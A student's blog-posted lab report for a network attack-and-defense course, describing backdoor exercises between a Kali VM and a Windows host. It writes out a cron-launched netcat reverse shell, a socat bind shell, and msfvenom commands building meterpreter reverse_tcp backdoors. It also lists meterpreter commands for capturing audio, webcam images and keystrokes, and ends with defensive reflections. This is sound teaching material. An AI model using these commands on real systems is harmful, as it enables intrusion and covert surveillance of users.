20192425 2021-2022-2 《网络与系统攻防技术》实验二实验报告

20192425 2021-2022-2 《网络与系统攻防技术》实验二实验报告

1.实验内容

(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)

PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

2.实验过程

1.使用netcat获取主机操作Shell,cron启动

cron是一个linux下 的定时执行工具,可以在无需人工干预的情况下运行作业。

service crond start //启动服务
service crond stop //关闭服务
service crond restart //重启服务
service crond reload //重新载入配置
service crond status //查看服务状态

我们用crontab -e进入当前用户的工作表编辑,是常见的vim界面。每行是一条命令。crontab的命令构成为 时间+动作,其时间有分、时、日、月、周五种,操作符有

* 取值范围内的所有数字
/ 每过多少个数字
- 从X到Z
,散列数字

实例:
晚上11点到早上7点之间,每隔一小时重启smb
0 23-7/1 * * * /etc/init.d/smb restart


NC 是一款安全工具,它还有其他的名字 Netcat, Ncat 可用来做端口扫描,端口转发,连接远程系统等。它是一款拥有多种功能的 CLI 工具,可以用来在网络上读、写以及重定向数据。它被设计成可以被脚本或其他程序调用的可靠的后端工具。同时由于它能创建任意所需的连接,因此也是一个很好的网络调试工具。

主机通过Ipconfig命令,虚拟机通过ifconfig命令,得到IP地址。使用cron添加命令,使得Linux反弹连接。在kali虚拟机执行指令crotab -e,在文件的末尾添加* * * * * /bin/netcat 192.168.56.101 8090 -e /bin/sh,即可看到cmd获得了kali的shell。

2.使用socat获取主机操作Shell, 任务计划启动

Windwos下载好了socat,解压使用

socat也是一款很不错的网络工具,可以认为是nc的加强版。作为一款双向数据流通道工具,它拥有许多强大的功能:端口的连接、端口侦听、收发文件、传递shell、端口转发、端口扫描等。这里我们只把socat作为传递shell的工具使用;

  • 在Windows单击【计算机】—【管理】—【任务计划程序】,在计算机中的任务计划里新建触发器,设置任务启动时间以及操作。

  • 在操作选项卡中绑定socat程序,给出参数:tcp-listen:4304 exec:cmd.exe,pty,stderr这个命令的作用是把cmd.exe绑定到端口4304,同时把cmd.exe的stderr重定向到stdout上。

  • 在预计时间Windows主机跳出执行exe文件,此时在Linux下输入socat - tcp:192.168.56.101:4304,,便可成功获取到win的shell。

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

Meterpreter命令详解 - 渗透测试中心 - 博客园
https://www.cnblogs.com/backlion/p/9484949.html

在虚拟机中输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=5301 -f exe > meter_backdoor.exe,通过nc指令将生成的后门程序传送到Windows主机上,在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口,设置完成后,执行监听,打开Windows上的后门程序:此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell。



4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令可以截获一段音频:
  • 使用webcam_snap指令可以使用摄像头进行拍照;
  • 使用webcam stream指令可以使用摄像头进行录像;
  • 使用screenshot指令可以进行截屏;
  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录。

提权失败原因

在meterpreter shell界面,我们可以通过shell命令,进入cmd命令提示符,使用net user查看当前用户,发现当前用户实际是在管理组administrators组中,那为什么还提权不了呢?
原来,windows操作系统在vista以后增加了一个UAC的功能,英文全称User Access Control,该功能对管理员组的用户起到一定限制,进而保护计算机安全,当我们需要运行一些重要的程序,只有管理员权限才能运行的程序时,UAC功能都会弹出一个对话框,对用户进行询问,当用户点击了同意按钮,程序才会以管理员或system权限运行。因此,我们要想提权成功,首先要绕过windows的UAC限制,接下来我们来看常用的绕过UAC的套路。

5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

这次要求的是在linux/x86的,获取反弹式shell,所payload要选择:inux/x86/meterpreter/reverse_tcp。

  • -p, 指定需要使用的payload(攻击荷载)为linux/x86/meterpreter/reverse_tcp。
  • -x, 指定一个自定义的可执行文件作为模板(将我们的后门挂到此文件中),指定我们实验一中的pwn20192425。
  • -f, 指定输出格式,这里我们选择ELF格式。 >重定向输出为20192425pwn文件。

输入exploit进行监听,打开另外一个终端运行我们刚所生成的20192425pwn文件,可以看到我们这个终端中成功获取到了linux系统的shell。

3.问题及解决方案

  • 问题1:主机和虚拟机不能相互ping通
  • 问题1解决方案:通过上网查找相关资料,并进行相关设置。将虚拟机网络配置设置为桥接模式,主机使用以太网适配器 VirtualBox Host-Only Network的Ipv4地址,主机和虚拟机可以相互Ping通。
  • 问题2:payload不知道如何设置或设置错误
  • 问题2解决方案:Payload中包含有需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。当我们在Metasploit中执行“show payloads”命令之后,它会给我们显示一个可使用的Payload列表。需要注意设置payload要和生成payload时候的两个payload相一致。

4.学习感悟、思考等

问题思考

(1)例举你能想到的一个后门进入到你系统中的可能方式?

操作系统本身就带有后门!

后门程序可能伪装成正常程序,当我们在我们在网络上下载资源或者将捡到的如优盘等硬件设备插入到电脑中时,只要我们点击启动后,后门程序可以自动运行。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

本次实验中,在虚拟机里先修改cron文件,然后通过ncat传播到另一台主机,当另一台主机运行时启动后门。

通过漏洞攻击启动,如果想留后门的话,脚本语言可以,C/C++可以故意不检查输入合法性,尤其是缓冲区长度,还可以在拼接命令行参数/sql语句的地方留注入漏洞启动。

一些不安全的软件编写时留下了后门,使用这些软件可能会使后门启动;

(3)Meterpreter有哪些给你印象深刻的功能?

实验中我们通过使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录,并提权。

印象都挺深的,不管是获取音频、摄像头,还是击键记录都严重侵犯了个人隐私,如果能成功提权,产生的后果将更加不堪设想。

(4)如何发现自己有系统有没有被安装后门?

首先可以通过Windows自带的防火墙或者利用杀毒软件进行识别,大部分后门都是可以被识别出来的;

再就是查看任务管理器有没有很陌生的任务在运行,检查可疑进程;

还可以查看注册表信息,检查端口占用的情况。


meterpreter的getsystem命令,实际是针对windows的管理员组的用户的一种提权方式,当用户不在管理员组时,我们通常会通过系统的溢出漏洞进行提权。而当所得用户权限在管理员组时,我们需要先绕过UAC,然后使用getsystem命令进行提权即可。

在现实世界中,留后门是当然是不允许的。尤其是定制外包这一块,项目交付完成后就归甲方所有,如果开发者还留有后台那对有实际资金运转的项目是十分危险的,甚至会构成违法犯罪行为。软件开发公司里面一个程序员一年经手的项目也不少,如果每个项目都给自己留点后门,可能对商家造成多少损失,会带来多少不正当利益。

本次实验通过利用后门,可以操作shell,可以获取目标主机音频、摄像头、击键记录等内容,可以提权……实验中简单的后门其实是可以被防火墙识别的,这让我意识到了防火墙的重要性,以及一定要及时更新系统、安装补丁,尽量避免系统漏洞;在实验里简单的后门程序就可以实现那么多效果,一旦计算机被植入这些后门程序,个人隐私就轻而易举地会被泄露,在平时一定要养成良好的使用计算机的习惯,不要使用来源不明的软件等。

posted @ 2022-04-01 19:23  20192425  阅读(102)  评论(0编辑  收藏  举报